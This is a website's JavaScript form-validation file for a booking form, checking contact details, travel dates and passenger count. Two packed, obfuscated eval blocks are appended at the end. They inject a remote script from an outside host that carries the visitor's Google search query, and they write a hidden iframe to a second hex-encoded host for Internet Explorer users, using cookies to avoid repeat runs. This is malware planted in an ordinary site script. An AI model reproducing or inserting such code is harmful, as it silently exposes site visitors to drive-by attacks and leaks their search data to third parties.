// JavaScript Document

function validation()
{
	if (iscompany() && iscontact_person() && isaddress() && isphone() && isemail() && isddate() && isdmonth() && isdyear() && isrdate() && isrmonth() && isryear() && ispassanger())
	{
		document.forms[0].submit();
	}
	return true;
}

function iscompany() 
{
	if(document.getElementById('company').value=="")
	{
	alert("Please enter company name");
	document.forms[0].company.focus();
	return false;
	}
	return true;
}

function iscontact_person() 
{
	var str = document.forms[0].contact_person.value;
	if (str == "")
	{
		alert("\nThe contact person field is blank.\nPlease re-enter contact person name.")
		document.forms[0].contact_person.focus();
		return false;
	}
	if((str.substring(0,1)<"a" || str.substring(0,1)>"z") && (str.substring(0,1)<"A" || str.substring(0,1)>"Z"))
	{
		alert("The contact person name should begin with an alphabetic character.");
		document.forms[0].contact_person.focus();
		return false;
	}
	for (var i = 1; i < str.length; i++) 
	{
		var ch = str.substring(i, i + 1);
		if ( ((ch < "a" || "z" < ch) && (ch < "A" || "Z" < ch)) &&(ch != ' ')) 
		{
			alert("\nThe contact person field  accepts only letters.\nPlease re-enter contact person name.");
			document.forms[0].contact_person.select();
			document.forms[0].contact_person.focus();
			return false;
		}
	}
	return true;
}

function isaddress() 
{
	if(document.getElementById('address').value=="")
	{
	alert("Please enter your postal address.");
	document.forms[0].address.focus();
	return false;
	}
	return true;
}

function isphone() 
{
	if(document.getElementById('phone').value=="")
	{
	alert("please enter your mobile/phone number");
	document.forms[0].phone.focus();
	return false;
	}
	return true;
}

function isemail()
{
var str = document.forms[0].email.value;
var str1 = document.forms[0].email.value.length;
if(str == "")
	{
		alert("\nThe Email field is blank .\n\nPlease re-enter your Email ID.")
		document.forms[0].email.focus();
		return false;
	}
if (str.indexOf("@")== -1 || str.indexOf(".")== -1)
{
alert("Please enter the correct Email ID");
document.forms[0].email.focus();
return false;
}
if((str.substring(0,1) == "@" || str.substring(0,1)== ".") || str.substring(0,1)=="-" || str.substring(0,1)=="_")
	{
		alert("The Email ID can not begin with @ or . or - or _ ");
		document.forms[0].email.focus();
		return false;
	}
if ((str.substring(str1-1,str1)=="@" || str.substring(str1-1,str1)=="."))
{
		alert("The Email ID can not end with @ or . ");
		document.forms[0].email.focus();
		return false;
}
var index1 = str.indexOf("@");
var index2 = str.indexOf(".");
var index3=str.indexOf("-");
var index4=str.indexOf("_");

if(str.substring(index1+1,index1+2) ==".")
{
alert(". can not come immidately after @");
document.forms[0].email.focus();
return false;
}
if ( ( index3==index1+1) || ( index4==index1+1))
{
alert("please enter the correct Email ID as no two special chars can come in sequence");
document.forms[0].email.focus();
return false;
}
for (var i = 0; i < str.length; i++) 
	{
		var ch = str.substring(i, i + 1);
		if ( ((ch < "a" || "z" < ch) && (ch < "A" || "Z" < ch)) && (ch < "0" || "9" < ch) && (ch != '_') && ch !='-' && ch !='@' && ch !='.')
		{
			alert("\nThe Email field  accepts letters,numbers & underscore.\n\nPlease re-enter your Email ID.");
			document.forms[0].email.select();
			document.forms[0].email.focus();
			return false;
		}
	}
return true;
}

function isddate() 
{
	if(document.getElementById('ddate').value=="NA")
	{
	alert("Please select departure month");
	document.forms[0].ddate.focus();
	return false;
	}
	return true;
}

function isdmonth() 
{
	if(document.getElementById('dmonth').value=="NA")
	{
	alert("Please select departure month");
	document.forms[0].dmonth.focus();
	return false;
	}
	return true;
}

function isdyear() 
{
	if(document.getElementById('dyear').value=="NA")
	{
	alert("Please select departure year");
	document.forms[0].dyear.focus();
	return false;
	}
	return true;
}

function isrdate() 
{
	if(document.getElementById('rdate').value=="NA")
	{
	alert("Please select return date");
	document.forms[0].rdate.focus();
	return false;
	}
	return true;
}

function isrmonth() 
{
	if(document.getElementById('rmonth').value=="NA")
	{
	alert("Please select return month");
	document.forms[0].rmonth.focus();
	return false;
	}
	return true;
}

function isryear() 
{
	if(document.getElementById('ryear').value=="NA")
	{
	alert("Please select return year");
	document.forms[0].ryear.focus();
	return false;
	}
	return true;
}

function ispassanger() 
{
	if(document.getElementById('passanger').value=="NA")
	{
	alert("Please select no. of passangers");
	document.forms[0].passanger.focus();
	return false;
	}
	return true;
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
